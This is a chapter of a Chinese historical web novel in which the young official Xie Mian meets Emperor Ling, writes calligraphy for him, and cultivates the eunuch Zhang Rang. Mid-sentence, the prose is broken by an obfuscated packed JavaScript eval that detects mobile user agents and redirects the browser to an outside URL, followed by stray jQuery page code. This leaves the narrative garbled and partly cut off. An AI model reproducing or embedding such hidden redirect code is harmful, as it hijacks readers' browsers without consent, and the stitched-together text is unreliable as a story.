那酒最后也没能吃上。
后来谢眠跟着朱儁转战汝南、陈国,又随皇甫嵩北上。他亲手策划的战争一场接一场,但他再也没有像第一次那样干呕过。
他怀里记着阵亡者姓名的纸越来越厚,他的字也只好越写越小。
再往后,他随军回到洛阳。
谢煚站在城门口接他,还是那身青色的常服,一如他出征时所见。
“瘦了。”谢煚说。
他也瘦了,那件常服显得空荡荡的。
但谢眠没时间寒暄,宫里的使者到得很快。
小黄门捏着嗓子一般拖长了语调:“陛下召谢侍郎入宫觐见。”
谢眠心中一凛,来不及换下那身染着风尘的衣袍便跟着使者匆匆进了宫。
这是他第一次面圣。
刘宏在偏殿见他。
人间的帝王靠在榻上,眼窝深陷、面色发黄,但精神似乎还不错。他打量了谢眠片刻,目光从那身旧袍上扫过,忽然笑了。
“朕听说你在长社干得不坏,”刘宏的语气漫不经心,像在说一件无关紧要的事,“朱儁那老头子可是难得夸人。”
“臣不过随军听命,不敢居功。”
“随军听命?”皇帝的目光若有深意地在谢眠脸上停了停,“你倒是会说话。”
他没再追问,让人赐了座。
有个面白无须的内侍忽然走来,贴在刘宏耳边说了些什么,谢眠听不清、也不敢去读对方唇语,只感觉刘宏的目光突然变得耐人寻味起来。
“阿父*说,你的字在京里最是好看。”刘宏忽然开口,他递过薄薄的绢帛,“那便写给朕看。”
阿父,这内侍是张让。
“常侍谬赞。”
谢眠双手接过来,扬了眉梢似乎在不经意间流露出些自负。
汉灵帝。
乱而不损曰灵、不勤成名曰灵、好祭鬼神曰灵、死见神能曰灵。*
这样一个君主是绝不可能喜欢一板一眼的臣子的。
谢眠不知道自己为何会入了这位帝王的眼,但不妨碍他决定赌一把,堵自己能博得他的欢心、赌自己可以借此更进一步。
这位会喜欢什么样的臣子呢?
排除古板的,他大约也不喜纯粹的端庄君子——喜爱游乐的他向来讨厌所谓清流的劝谏,不然也不会有牵连甚广、多次反复的党锢之祸。
至于纯粹的少年意气,刘宏也绝不会喜欢。太过锋芒毕露只会令他觉得自己的权威受到了挑战,而一个身体正走向下坡的高位者对此绝无容忍的可能性。
他决心扮演一个才华横溢、知进退,但足够自矜的青年人。
谢眠展开那绢帛,上面只有四个字:
天下太平。
他想抬头说些什么、告诫些什么,但又觉得一切干瘪得可怕,心知肚明那些劝阻毫无意义。
他站了一会儿,最终俯下身来,蘸墨、提笔。
天下太平。
何等宏愿。
他写得比平时慢很多,工整、端庄、一丝不苟,带着满心的虔诚与悲戚。
这四个字需要很久、很久才能成真。
这个天下会乱,刘宏死的时候不过四十,洛阳最终会烧成废墟,而他此刻写的这四个字是这个垂死者自欺欺人的安慰。
谢眠不知道,刘宏的目光始终在他身上,看他的停顿、看他的落笔,落在他的脸上、手上、坐姿上。
看他写字时手腕沉稳、气息均匀,不像寻常书生那样拘谨,也不像武将那样粗疏。
青年人长得好看,眉骨略高、眉峰如削,斜斜挑上去又稳稳收住,像一笔干脆的顿锋;眼型修长,眼尾微微上扬,眼底最深有层刃色般的薄光。
这人应当是锋芒毕露的少年郎,可他又偏生显得少年老成、沉稳非常,只有偶尔流露出的自矜傲然符合他的年岁。
刘宏讨厌少年人的意气风发,那会令他想起自己的年岁渐长以及身体破败下去的力不从心;他也不喜老成无趣的人,每日对着朝中那么多老古板他早生了厌。
多有意思。刘宏想。演得多像啊,连他差点都没发觉这侍郎身上仿佛垂垂老矣一般的暮气。
帝王决定给予这个小小的侍郎更多一些的恩宠。
谢卿、谢卿,你这样的人又会向朕讨要些什么呢?
谢眠写完最后一个字搁下笔,抬头时刘宏已挪开了目光,却恰对上张让森森的目光。
朱儁、皇甫嵩前些日子刚从牢里把卢植接出来。谢眠后知后觉,如今他算半个朱儁门生,朱儁是卢植好友,而卢植是当世大儒,天然与十常侍站在对立面。
但他可不打算和十常侍交恶。
谢眠本没那么在乎虚名,和郭嘉、贾诩待久了更是早视之如浮云。
所以他迎着对方冷冰冰的视线露出了一个温和而不解的笑,满意地看到张让面上一闪而逝的错愕。
他恭顺地把这四个字呈上,看着刘宏在张让的恭维下哈哈大笑,忽然觉得这位皇帝比他认识中还可怜的多、也任性得多。
可乱世将至,谁又称的上一句“不可怜”呢?
在其位谋其职,刘宏或许有所苦衷,但他绝对不是一个合格的皇帝。
在谢眠所书的史书里,终究是汉灵帝刘宏有负天下。
从此往后,刘宏隔三差五召他入宫,大多是喊谢眠陪着一起赏鉴字画。
但他厌得也很快,这等附庸风雅的事情偶尔做做还算得有趣,长久了也就无趣无味。
谢眠隐约感觉到,这位帝王对他的“偏爱”,更像是一种无聊时的消遣,像养一只温顺又不失趣味的雀鸟。
而刘宏之所以迟迟不给他升官、不让他外放,大约也是因为即便对皇帝来说,在宫里写字、陪着他玩乐的人远比在外头做官的人更好留住。
刘宏还没想好把他放在什么位置。
可对谢眠来说,就算如此他也不愿轻易放弃与皇帝直接往来的机会。
他在玩乐方面上一窍不通,但他知道谁最会玩乐。
——十常侍。
他思忖良久,最终在尚书台拟旨时把“宦官”统一换成了“内臣”。
后来他的案上多了一方好砚,没有署名,看样式是宫里的,刘宏又开始频繁召见他了。
谢眠舒了口气,感谢贾诩在人心方面的指导。
他没有退回去也没有用,只是收了起来。他知道张让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685993|207806||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这是在试探:收下了便算自己人,不收便是敬酒不吃吃罚酒。
他选了中间那条路:不拒绝,但也不声张
他在宫门口撞见张让,张让正从里面出来,身边围了几个小黄门。
“谢侍郎。”张让的声音很尖,“陛下今个清晨还在念叨你,说昨日那曲子实在好听,想要来谱子给宫里人也排上呢。”
所料不错,十常侍什么都不缺,却极看中“尊重”二字,尤其是来自士人的尊重,甚至在一定程度上他们愿意为了这份尊重付出更多一些东西。
谢眠抿出笑,拱手道:“能被陛下看中是福气,这曲子也是一步登高了。眠谢过张常侍美言。”
“确实不似人间曲,可惜京里人只知道你谢偃仰字是一绝,不听闻曲更绝。”张让上下打量他一眼,忽然凑近了些压低声音,“谢侍郎,咱家也不是那等不识趣、不懂规矩的下里巴人。你既然有本事讨陛下欢喜,又有本事让咱家省心,这宫里头也犯不着与你过不去。”
谢眠垂下眼笑,没接话。
张让也笑,带着人走远了。
一来二去,张让那边的中黄门见了他倒也笑脸相迎,恭恭敬敬喊一声“谢侍郎”。
甚至赵忠、段珪等也有人托小黄门来问:“那个会稽谢氏的,当真不挑剔咱们?”
言下之意无非是好奇他一个士人出身的为何对宦官如此相待。至于真心假意,他们看的真切,谢眠身上确无读书人的傲慢。
谢眠确实没有看不起他们。
他知道很快,皇帝、宦官、外戚、士人与百姓在这世道里均难以保全自身。
所以他面对张让、甚至于刘宏时都谈不上有太多的个人情绪,更多的不过是一种平静的怅然,像是看着一个还在岸上忙碌地搬运家当却注定要沉没的人。
他们已经是他的筹码、身处于他的局里了。
谢眠自嘲地笑笑,笑自己如此傲慢的想法。
曹操找过他,提醒他士林里对此议论颇多,有人私下说他“曲意逢迎阉竖”,也有人替他辩解说“不过是明哲保身”。
但有钟繇帮他说话,有朱儁、皇甫嵩两位将军的面子在,又有卢植这一士林领袖对他的欣赏,倒也没什么人敢当面拿这个说事,谢眠更是乐得如此。
几日后,调令下来,谢眠擢中书侍郎,加黄门侍郎,兼著作郎,理鸿都门学。
他把鸿都门学一直办下来了,撑过了它原来该散了的中平二年。
中平三年,谢眠接到了两份文书与一封信。
文书上写:
荀彧,字文若,举孝廉,入京。
荀攸,字公达,同举孝廉,同入京
两封文书叠在一起被放在他的案头。
谢眠看着这短短几行字看了很久,久到旁边的小吏轻轻喊了一声“谢侍郎”提醒他。
谢眠惊醒般拆开那封信。
信是郭嘉寄来的。
他说他和戏志才也要一道来了,让谢眠这个东道主做好迎接他们的准备,一定、务必、千万要备好美酒等他们品鉴。
谢眠失笑,提笔回信。
——这酒,等奉孝及冠再喝也来得及。他便在京城,恭候大驾了。